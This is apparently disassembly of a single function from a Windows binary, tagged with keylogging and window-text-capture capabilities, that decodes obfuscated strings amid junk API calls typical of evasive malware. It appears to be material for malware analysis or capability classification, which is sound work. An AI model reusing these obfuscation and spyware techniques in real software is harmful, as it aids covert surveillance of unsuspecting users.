Function at 0x401030
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.GDI32.dll_GdiFlush]
call ebx
mov eax, dword [0x4054f4]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0x3026
push 0x435a
push 0x70c0
push eax
call ebp
call ebx
push 9
lea ecx, [esp + 0x14]
push str.OjyvK_v
push ecx
call fcn.00403250
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0xc
push 9
push 8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov edx, dword [0x405ccc]
mov dword [0x40b4e8], eax
mov dword [eax], edx
mov ecx, dword [0x40b4e8]
mov eax, dword [0x405cd0]
mov dword [ecx + 4], eax
call ebx
mov edx, dword [0x40b4e8]
push 8
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x405044]
mov edx, dword [0x405038]
add ecx, 0x6acb
add edx, 0x2f60
add esp, 0xc
mov dword [0x405060], ecx
mov dword [0x405090], edx
call ebx
mov eax, dword [0x40511c]
push 0x11
lea ecx, [esp + 0x14]
add eax, 0xffffb9d8
push 0x405cb8
push ecx
mov dword [0x4050e0], eax
call fcn.00403250
add esp, 0xc
push 6
push 8
call esi
push eax
call edi
mov edx, dword [0x405cb0]
mov dword [0x40b4e0], eax
mov dword [eax], edx
mov cl, byte [0x405cb4]
mov byte [eax + 4], cl
mov ecx, dword [0x405088]
mov eax, 0x12f24ee5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x405098], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x40b4e0]
push 5
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
mov eax, dword [0x405550]
add esp, 0xc
push 0x52b9
push 0x6cbd
push 0x3a3
push eax
call ebp
mov ecx, dword [0x405500]
push 0x7c3d
push 0x7b87
push 0x5181
push ecx
call ebp
mov edx, dword [0x405518]
mov eax, dword [0x4054d4]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x10
lea ecx, [esp + 0x14]
push 0x405c9c
push ecx
call fcn.00403250
add esp, 0xc
push 0x10
push 8
call esi
push eax
call edi
mov edx, dword [0x405c8c]
mov dword [0x40b4d8], eax
mov dword [eax], edx
mov ecx, dword [0x405c90]
mov dword [eax + 4], ecx
mov edx, dword [0x405c94]
mov dword [eax + 8], edx
mov cx, word [0x405c98]
mov word [eax + 0xc], cx
mov dl, byte [0x405c9a]
mov byte [eax + 0xe], dl
mov eax, dword [0x40544c]
mov ecx, dword [0x40550c]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x40b4d8]
push 0xf
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x405010]
mov eax, dword [0x40506c]
add ecx, 0xffffa1f3
add esp, 0xc
mov dword [0x4050b0], ecx
mov ecx, 0x4e19
cdq
idiv ecx
mov dword [0x40513c], edx
call ebx
push 9
lea edx, [esp + 0x14]
push str._w4T
push edx
mov dword [0x405014], 0x7da9
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call esi
push eax
call edi
mov ecx, dword [0x405c70]
mov dword [0x40b4cc], eax
mov dword [eax], ecx
mov edx, dword [0x405c74]
mov dword [eax + 4], edx
mov ecx, dword [0x405c78]
mov dword [eax + 8], ecx
mov dx, word [0x405c7c]
mov word [eax + 0xc], dx
mov dword [0x4050fc], 0x2da2
call ebx
mov eax, dword [0x40b4cc]
push 0xe
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
mov edx, dword [0x405430]
add esp, 0xc
push 0x513d
push 0x292
push 0x3305
push edx
call ebp
mov eax, dword [0x4054cc]
push 0x893
push 0x3ad9
push 0x2d7c
push eax
call ebp
mov ecx, dword [0x40548c]
push 0x6a8b
push 0x52b6
push 0x3d13
push ecx
call ebp
push 1
push 0x5bb8
push 0xf39
call dword [sym.imp.USER32.dll_AttachThreadInput]
call ebx
push 1
push 0x7a2c
push 0x4984
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 8
lea edx, [esp + 0x14]
push 0x405c64
push edx
call fcn.00403250
add esp, 0xc
push 0x15
push 8
call esi
push eax
call edi
mov ecx, 5
mov esi, 0x405c4c
mov edi, eax
mov dword [0x40b4f0], eax
rep movsd dword es:[edi], dword [esi]
call ebx
mov eax, dword [0x40555c]
mov ecx, dword [0x405584]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x4053d4]
push 0x2efc
push 0x29b
push 0x4b9f
push edx
call ebp
mov eax, dword [0x40b4f0]
push 0x14
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
add esp, 0xc
push 1
push 0x9e5
push 0x5a0
call dword [sym.imp.USER32.dll_AttachThreadInput]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x405168]
mov eax, 0x8850defb
push 0xd
imul ecx
add edx, ecx
mov ecx, dword [0x405130]
sar edx, 0xe
mov eax, edx
push 0x405c3c
shr eax, 0x1f
add edx, eax
mov eax, 0xb11fd3b9
mov dword [str.M6_n58], edx
imul ecx
add edx, ecx
mov dword [0x405090], 0x4c5f
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov dword [0x405130], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403250
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0xc
push 0xf
push 8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov ecx, dword [0x405c30]
mov dword [0x40b4ec], eax
mov dword [eax], ecx
mov edx, dword [0x405c34]
mov dword [eax + 4], edx
mov ecx, dword [0x405c38]
mov dword [eax + 8], ecx
mov dx, word [0x405c3c]
mov word [eax + 0xc], dx
mov eax, dword [0x4051e0]
add eax, 0xffffdbbd
mov dword [0x4051d8], eax
call ebx
mov ecx, dword [0x40b4ec]
push 0xa
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov eax, dword [0x4054c8]
mov ecx, dword [0x4053d4]
add esp, 0xc
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [0x405090], 0x43da
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x4054c0]
push 0x12cf
push 0x55fd
push 0x23e
push edx
mov dword [0x40511c], 0x2c70
call ebp
push 9
lea eax, [esp + 0x14]
push 0x405c24
push eax
call fcn.00403250
add esp, 0xc
push 0x13
push 8
call esi
push eax
call edi
mov ecx, dword [0x405c10]
mov dword [0x40b4e4], eax
mov dword [eax], ecx
mov edx, dword [0x405c14]
mov dword [eax + 4], edx
mov ecx, dword [0x405c18]
mov dword [eax + 8], ecx
mov edx, dword [0x405c1c]
mov dword [eax + 0xc], edx
mov cx, word [0x405c20]
mov word [eax + 0x10], cx
call ebx
mov edx, dword [0x40b4e4]
push 0x12
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x40502c]
mov edx, dword [0x405410]
mov ecx, eax
push edx
shl ecx, 7
add ecx, eax
shl ecx, 3
sub ecx, eax
mov eax, dword [0x405430]
shl ecx, 2
push eax
mov dword [0x405178], ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [str.r:HeX_H]
mov eax, 0x84edc91b
imul ecx
add edx, ecx
push 1
sar edx, 0xe
mov ecx, edx
push 0x57c8
shr ecx, 0x1f
add edx, ecx
push 0x7571
mov dword [0x405110], edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x14
lea edx, [esp + 0x14]
push 0x405bf8
push edx
call fcn.00403250
add esp, 0xc
push 0x11
push 8
call esi
push eax
call edi
mov ecx, dword [0x405be4]
mov dword [0x40b4dc], eax
mov dword [eax], ecx
mov edx, dword [0x405be8]
mov dword [eax + 4], edx
mov ecx, dword [0x405bec]
mov dword [eax + 8], ecx
mov edx, dword [0x405bf0]
mov dword [eax + 0xc], edx
mov ecx, dword [str.M6_n58]
mov eax, 0xae4c415d
push 0x10
imul ecx
add edx, ecx
mov ecx, dword [0x40b4dc]
sar edx, 7
mov eax, edx
push ecx
shr eax, 0x1f
add edx, eax
mov dword [str.M6_n58], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x2c03
push 0x4d64
push 0xd90
mov eax, dword [0x40540c]
push eax
call ebp
mov ecx, dword [0x405568]
push 0x7cf
push 0x6c48
push 0x2eca
push ecx
call ebp
mov ecx, dword [0x4050e0]
mov eax, 0x8a6858ab
imul ecx
add edx, ecx
push 1
sar edx, 9
mov eax, edx
push 0xd59
shr eax, 0x1f
add edx, eax
push 0x4b37
mov dword [0x4050b4], edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x11
lea ecx, [esp + 0x14]
push 0x405bd0
push ecx
call fcn.00403250
add esp, 0xc
push 0x11
push 8
call esi
push eax
call edi
mov edx, dword [0x405bbc]
mov dword [0x40b4d4], eax
mov dword [eax], edx
mov ecx, dword [0x405bc0]
mov dword [eax + 4], ecx
mov edx, dword [0x405bc4]
mov dword [eax + 8], edx
mov ecx, dword [0x405bc8]
mov dword [eax + 0xc], ecx
mov edx, dword [0x405588]
mov eax, dword [0x405508]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x40b4d4]
push 0x10
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
add esp, 0xc
call ebx
call ebx
push 1
push 0x23bb
push 0x1dab
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push 0x1157
push 0x77c5
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [0x40517c]
push 8
lea ecx, [esp + 0x14]
add eax, 0x5bec
push 0x405bb0
push ecx
mov dword [0x405100], eax
mov dword [0x40512c], 0x1248
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call esi
push eax
call edi
mov edx, dword [0x405ba0]
mov dword [0x40b4c8], eax
mov dword [eax], edx
mov ecx, dword [0x405ba4]
mov dword [eax + 4], ecx
mov edx, dword [0x405ba8]
mov dword [eax + 8], edx
mov eax, dword [0x405498]
mov ecx, dword [0x405458]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x40b4c8]
push 0xc
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
push 1
push 0x1be7
push 0x52e8
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [0x405458]
push 0x549f
push 0x6742
push 0x378c
push ecx
call ebp
call ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x4054c4]
mov eax, dword [0x4054e4]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x405080]
push 0x16
imul ecx, ecx, 0x3d4e
lea edx, [esp + 0x14]
push 0x405b88
push edx
mov dword [0x4051d0], ecx
call fcn.00403250
add esp, 0xc
push 0xe
push 8
call esi
push eax
call edi
mov ecx, dword [0x405b78]
mov dword [0x40b4c0], eax
mov dword [eax], ecx
mov edx, dword [0x405b7c]
mov dword [eax + 4], edx
mov ecx, dword [0x405b80]
mov dword [eax + 8], ecx
mov dl, byte [0x405b84]
mov byte [eax + 0xc], dl
mov ecx, dword [0x4050b4]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x405514]
push eax
push eax
mov dword [0x4050b4], edx
call dword [sym.imp.USER32.dll_KillTimer]
call ebx
mov ecx, dword [0x40b4c0]
push 0xd
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x15
push 0x405b60
lea eax, [esp + 0x18]
push eax
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call esi
push eax
call edi
mov ecx, dword [0x405b50]
mov dword [0x40b4b8], eax
mov dword [eax], ecx
mov edx, dword [0x405b54]
mov dword [eax + 4], edx
mov ecx, dword [0x405b58]
mov dword [eax + 8], ecx
mov dx, word [0x405b5c]
mov word [eax + 0xc], dx
mov eax, dword [0x40517c]
cdq
mov ecx, 0x57ae
push 0xe
idiv ecx
lea eax, [esp + 0x14]
mov dword [0x405040], 0x2987
mov dword [0x4051f4], 0x7dc7
mov dword [0x405194], edx
mov edx, dword [0x40b4b8]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x4055a4]
add esp, 0xc
push 0x3b35
push 0x20be
push 0x1dc9
push ecx
call ebp
mov ecx, dword [0x405214]
mov eax, 0x485917b7
imul ecx
mov ecx, dword [0x405108]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [ecx + ecx*8]
shl eax, 3
sub eax, ecx
mov dword [0x4051e4], edx
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [ecx + edx*8]
shl eax, 1
mov dword [0x4050f8], eax
call ebx
push 0x12
lea ecx, [esp + 0x14]
push 0x405b3c
push ecx
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call esi
push eax
call edi
mov edx, dword [0x405b2c]
mov dword [0x40b4b0], eax
mov dword [eax], edx
mov ecx, dword [0x405b30]
mov dword [eax + 4], ecx
mov edx, dword [0x405b34]
mov dword [eax + 8], edx
mov dword [0x405160], 0x1e77
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x40b4b0]
push 0xc
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
add esp, 0xc
call ebx
mov edx, dword [0x405448]
push 0x41bf
push 0x6715
push 0x6d3f
push edx
call ebp
mov ecx, dword [0x4051c8]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x4051c8], edx
call ebx
push 8
lea ecx, [esp + 0x14]
push 0x405b20
push ecx
call fcn.00403250
add esp, 0xc
push 0xd
push 8
call esi
push eax
call edi
mov edx, dword [0x40b4f4]
mov dword [0x40b4a4], eax
mov dword [eax], edx
mov ecx, dword [0x40b4f8]
mov dword [eax + 4], ecx
mov edx, dword [0x40b4fc]
mov dword [eax + 8], edx
call ebx
call ebx
mov eax, dword [0x405580]
push 0x4a7b
push 0x67f0
push 0x1735
push eax
call ebp
mov ecx, dword [0x40b4a4]
push 0
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
add esp, 0xc
push 1
push 0x666d
push 0x1cc2
call dword [sym.imp.USER32.dll_AttachThreadInput]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 1
push 0x2997
push 0x48f5
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [0x405110]
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
mov ecx, dword [0x4051e8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x38e38e39
mov dword [0x405110], edx
imul ecx
sar edx, 5
mov ecx, edx
mov eax, 0x2a6fdfad
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x40511c]
mov dword [0x4051e8], edx
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
push 0x15
lea ecx, [esp + 0x14]
add edx, eax
push 0x405b08
push ecx
mov dword [0x405038], edx
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call esi
push eax
call edi
mov edx, dword [0x405af8]
mov dword [0x40b4d0], eax
mov dword [eax], edx
mov ecx, dword [0x405afc]
mov dword [eax + 4], ecx
mov edx, dword [0x405b00]
mov dword [eax + 8], edx
mov cx, word [0x405b04]
mov word [eax + 0xc], cx
mov edx, dword [0x405524]
mov eax, dword [0x405518]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x40b4d0]
push 0xe
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov ecx, dword [0x405218]
mov eax, 0x3949660b
imul ecx
mov ecx, dword [0x40542c]
add esp, 0xc
sar edx, 5
mov eax, edx
push 0x4f14
shr eax, 0x1f
push 0x66e5
add edx, eax
push 0x239
push ecx
mov dword [0x405218], edx
call ebp
push 1
push 0x365f
push 0x29a1
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [0x405018], 0x749e
mov dword [0x405114], 0x6442
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0xb
lea edx, [esp + 0x14]
push 0x405aec
push edx
call fcn.00403250
add esp, 0xc
push 0xa
push 8
call esi
push eax
call edi
mov ecx, dword [0x405ae0]
mov dword [0x40b4c4], eax
mov dword [eax], ecx
mov edx, dword [0x405ae4]
mov dword [eax + 4], edx
mov cl, byte [0x405ae8]
mov byte [eax + 8], cl
mov edx, dword [0x405430]
push 0x1289
push 0x7ce3
push 0x5563
push edx
call ebp
mov ecx, dword [str.qo8]
mov eax, 0xbfa02fe9
push 9
imul ecx
add edx, ecx
mov ecx, dword [0x40b4c4]
sar edx, 7
mov eax, edx
push ecx
shr eax, 0x1f
add edx, eax
mov dword [str.qo8], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
mov ecx, dword [0x405244]
mov eax, dword [0x405140]
add ecx, 0x929
add eax, 0xffff8649
mov dword [0x40503c], ecx
mov ecx, dword [0x405274]
mov dword [0x40515c], eax
push 0x14
lea eax, [ecx + ecx*4]
push 0x405ac8
shl eax, 5
add eax, ecx
mov dword [0x405084], 0x1e1a
mov dword [str._R:_I_:_nAOnv_agP_A], 0x6c4d
lea edx, [eax + eax*2]
lea eax, [ecx + edx*4]
lea ecx, [esp + 0x24]
push ecx
lea eax, [eax + eax*4]
mov dword [0x405104], eax
call fcn.00403250
add esp, 0x18
push 9
push 8
call esi
push eax
call edi
mov edx, dword [0x405ac0]
mov dword [0x40b4bc], eax
mov dword [eax], edx
mov ecx, dword [0x40b4bc]
mov eax, dword [0x405ac4]
push 1
push 0x5af1
push 0x3885
mov dword [ecx + 4], eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edx, dword [0x40528c]
mov eax, dword [0x405458]
mov ecx, dword [0x4054fc]
add edx, 0xffffbce0
push eax
push ecx
mov dword [0x405094], edx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x40b4bc]
push 7
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 1
push 0x355f
push 0x3f39
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push 0x1960
push 0x3a61
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, dword [0x405528]
mov edx, dword [0x4054e8]
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
push 0x13
lea eax, [esp + 0x14]
push str._rdPeV
push eax
call fcn.00403250
add esp, 0xc
push 0x13
push 8
call esi
push eax
call edi
mov ecx, dword [0x405a98]
mov dword [0x40b4b4], eax
mov dword [eax], ecx
mov edx, dword [0x405a9c]
mov dword [eax + 4], edx
mov ecx, dword [0x405aa0]
mov dword [eax + 8], ecx
mov edx, dword [0x405aa4]
mov dword [eax + 0xc], edx
mov cx, word [0x405aa8]
mov word [eax + 0x10], cx
call ebx
mov ecx, dword [0x40525c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [0x40b4b4]
sar edx, 6
mov eax, edx
push 0x12
shr eax, 0x1f
add edx, eax
push ecx
mov dword [0x40525c], edx
lea edx, [esp + 0x18]
push edx
call fcn.00403360
mov eax, dword [0x405498]
mov ecx, dword [0x4053cc]
add esp, 0xc
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [str.r:HeX_H]
mov eax, 0x8c08c08d
imul ecx
add edx, ecx
mov ecx, dword [0x4055b8]
sar edx, 6
mov eax, edx
push 0x2d71
shr eax, 0x1f
push 0x17c4
add edx, eax
push 0x7740
push ecx
mov dword [str.r:HeX_H], edx
call ebp
call ebx
push 1
push 0x21de
push 0x20f2
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x10
lea edx, [esp + 0x14]
push 0x405a84
push edx
call fcn.00403250
add esp, 0xc
push 0xa
push 8
call esi
push eax
call edi
mov ecx, dword [0x405a78]
mov dword [0x40b4ac], eax
mov dword [eax], ecx
mov edx, dword [0x405a7c]
mov dword [eax + 4], edx
mov cl, byte [0x405a80]
mov byte [eax + 8], cl
mov edx, dword [0x4055d4]
push 0x7ffd
push 0xbff
push 0x3ce7
push edx
call ebp
call ebx
mov eax, dword [0x40b4ac]
push 9
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
mov edx, dword [0x405548]
mov eax, dword [0x4054fc]
add esp, 0xc
mov dword [0x4050d8], 0x43c8
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x40501c]
mov eax, ecx
shl eax, 7
sub eax, ecx
lea edx, [eax + eax*2]
lea eax, [ecx + edx*2]
lea eax, [eax + eax*4]
shl eax, 1
mov dword [str.M4e], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x12
lea ecx, [esp + 0x14]
push 0x405a64
push ecx
call fcn.00403250
add esp, 0xc
push 4
push 8
call esi
push eax
call edi
mov dx, word [0x405a60]
mov dword [0x40b4a0], eax
mov word [eax], dx
mov cl, byte [0x405a62]
push 1
push 0x2dfd
push 0x7152
mov byte [eax + 2], cl
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edx, dword [0x40b4a0]
push 3
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x4055f0]
mov edx, dword [0x405620]
add esp, 0xc
push ecx
push edx
call dword [sym.imp.USER32.dll_KillTimer]
call ebx
mov eax, dword [0x40511c]
mov ecx, dword [0x405588]
push 0x31bd
push 0x5632
add eax, 0x789b
push 0x7e87
push ecx
mov dword [0x405054], eax
call ebp
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x4052a8]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov ecx, dword [0x405404]
push 0x76a
push 0x1cf4
push 0x3f4b
push ecx
mov dword [0x4052a8], edx
call ebp
push 0xa
lea edx, [esp + 0x14]
push 0x405a54
push edx
call fcn.00403250
add esp, 0xc
push 9
push 8
call esi
push eax
call edi
mov ecx, dword [0x405a48]
mov dword [0x40b498], eax
mov dword [eax], ecx
mov eax, dword [0x40b498]
mov edx, dword [0x405a4c]
push 0x52e0
mov dword [eax + 4], edx
mov ecx, dword [0x4055f4]
push 0x7ea6
push 0x68e0
push ecx
call ebp
push 1
push 0x55db
push 0x71e4
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edx, dword [0x40b498]
push 8
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x40504c]
mov eax, 0xa16b312f
imul ecx
add edx, ecx
mov eax, 0x1b4e81b5
sar edx, 7
mov ecx, edx
add esp, 0xc
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x405274]
mov dword [0x40504c], edx
imul ecx
mov ecx, dword [0x405074]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x94f2095
mov dword [0x405274], edx
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov dword [0x405074], edx
call ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x13
lea edx, [esp + 0x14]
push 0x405a34
push edx
call fcn.00403250
add esp, 0xc
push 6
push 8
call esi
push eax
call edi
mov ecx, dword [0x405a2c]
mov dword [0x40b490], eax
mov dword [eax], ecx
mov dl, byte [0x405a30]
mov byte [eax + 4], dl
mov eax, dword [0x40b490]
push 5
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.00403360
add esp, 0xc
mov dword [0x4050b4], 0x308
call ebx
mov edx, dword [0x405570]
mov eax, dword [0x4054b0]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x14
lea ecx, [esp + 0x14]
push 0x405a14
push ecx
call fcn.00403250
add esp, 0xc
push 9
push 8
call esi
push eax
call edi
mov edx, dword [0x405a08]
mov dword [0x40b488], eax
mov dword [eax], edx
mov ecx, dword [0x40b488]
mov eax, dword [0x405a0c]
mov dword [ecx + 4], eax
mov edx, dword [0x4055ec]
mov eax, dword [0x405564]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x6142
push 0x36e7
call dword [sym.imp.USER32.dll_AttachThreadInput]
call ebx
mov ecx, dword [0x40b488]
push 8
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x40553c]
mov ecx, dword [0x4055c4]
push eax
push ecx
call dword [sym.imp.USER32.dll_KillTimer]
mov edx, dword [0x405530]
mov eax, dword [0x4055c0]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x716e
push 0x5fb4
call dword [sym.imp.USER32.dll_AttachThreadInput]
call ebx
push 0x12
lea ecx, [esp + 0x14]
push 0x4059f4
push ecx
call fcn.00403250
add esp, 0xc
push 6
push 8
call esi
push eax
call edi
mov edx, dword [0x4059ec]
mov dword [0x40b47c], eax
mov dword [eax], edx
mov cl, byte [0x4059f0]
mov byte [eax + 4], cl
call ebx
call ebx
mov edx, dword [0x40b47c]
push 5
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
mov ecx, dword [0x4051fc]
mov eax, 0x22b63cbf
imul ecx
sar edx, 5
mov ecx, edx
add esp, 0xc
shr ecx, 0x1f
add edx, ecx
push 0x5cdb
mov dword [0x4051fc], edx
mov edx, dword [0x405550]
push 0x456d
push 0x2860
push edx
mov dword [0x40501c], 0x4ba0
call ebp
push 1
push 0x98b
push 0x44cf
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x17
lea eax, [esp + 0x14]
push 0x4059d4
push eax
mov dword [0x4052b4], 0x7139
call fcn.00403250
add esp, 0xc
push 0x10
push 8
call esi
push eax
call edi
mov ecx, dword [0x4059c4]
mov dword [0x40b4a8], eax
mov dword [eax], ecx
mov edx, dword [0x4059c8]
mov dword [eax + 4], edx
mov ecx, dword [0x4059cc]
mov dword [eax + 8], ecx
mov dx, word [0x4059d0]
mov word [eax + 0xc], dx
mov cl, byte [0x4059d2]
push 1
push 0x546c
push 0x316a
mov byte [eax + 0xe], cl
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edx, dword [0x40b4a8]
push 0xf
lea eax, [esp + 0x14]
push edx
push eax
call fcn.00403360
add esp, 0xc
call ebx
call ebx
push 1
push 0x5552
push 0x622
call dword [sym.imp.USER32.dll_AttachThreadInput]
call ebx
push 8
lea ecx, [esp + 0x14]
push 0x4059b8
push ecx
call fcn.00403250
add esp, 0xc
push 0xf
push 8
call esi
push eax
call edi
mov edx, dword [0x4059a8]
mov dword [0x40b49c], eax
mov dword [eax], edx
mov ecx, dword [0x4059ac]
mov dword [eax + 4], ecx
mov edx, dword [0x4059b0]
mov dword [eax + 8], edx
mov cx, word [0x4059b4]
mov word [eax + 0xc], cx
mov edx, dword [0x4055f4]
mov eax, dword [0x405500]
push edx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x40b49c]
push 0xe
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00403360
mov ecx, dword [0x4052b4]
mov eax, 0xd89d4733
imul ecx
add edx, ecx
add esp, 0xc
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [0x40502c], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x405640]
push 0x2561
push 0x64d5
push 0x7fbc
push ecx
call ebp
push 1
push 0x1abd
push 0x2c9f
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x10
lea edx, [esp + 0x14]
push 0x405994
push edx
call fcn.00403250
add esp, 0xc
push 0x15
push 8
call esi
push eax
call edi
mov ecx, 5
mov esi, 0x40597c
mov edi, eax
mov dword [0x40b494], eax
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x4055d0]
push 0x1b50
push 0xf5f
push 0x7ae5
push eax
call ebp
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
mov eax, dword [0x405284]
mov ecx, dword [0x40b494]
cdq
and edx, 3
push 0x14
add eax, edx
lea edx, [esp + 0x14]
sar eax, 2
push ecx
push edx
mov dword [0x405284], eax
call fcn.00403360
add esp, 0xc
push 0x202
push 0x406e
mov eax, dword [0x4055a4]
push 0x11bd
push eax
call ebp
mov ecx, dword [0x40504c]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
add ecx, 0x156d
push 0x7fe6
push 0x387e
mov dword [0x4051c0], ecx
call esi
call edi
mov edx, dword [0x4053f0]
push 0x34f9
push 0x5208
push 0x5545
push edx
call ebp
push 0x15
lea eax, [esp + 0x14]
push 0x405964
push eax
call fcn.00403250
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0xc
push 0xf
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x405954]
mov dword [0x40b48c], eax
mov dword [eax], ecx
mov edx, dword [0x405958]
mov dword [eax + 4], edx
mov ecx, dword [0x40595c]
mov dword [eax + 8], ecx
mov dx, word [0x405960]
push 1
push 0x1e5a
push 0x4bc1
mov word [eax + 0xc], dx
call esi
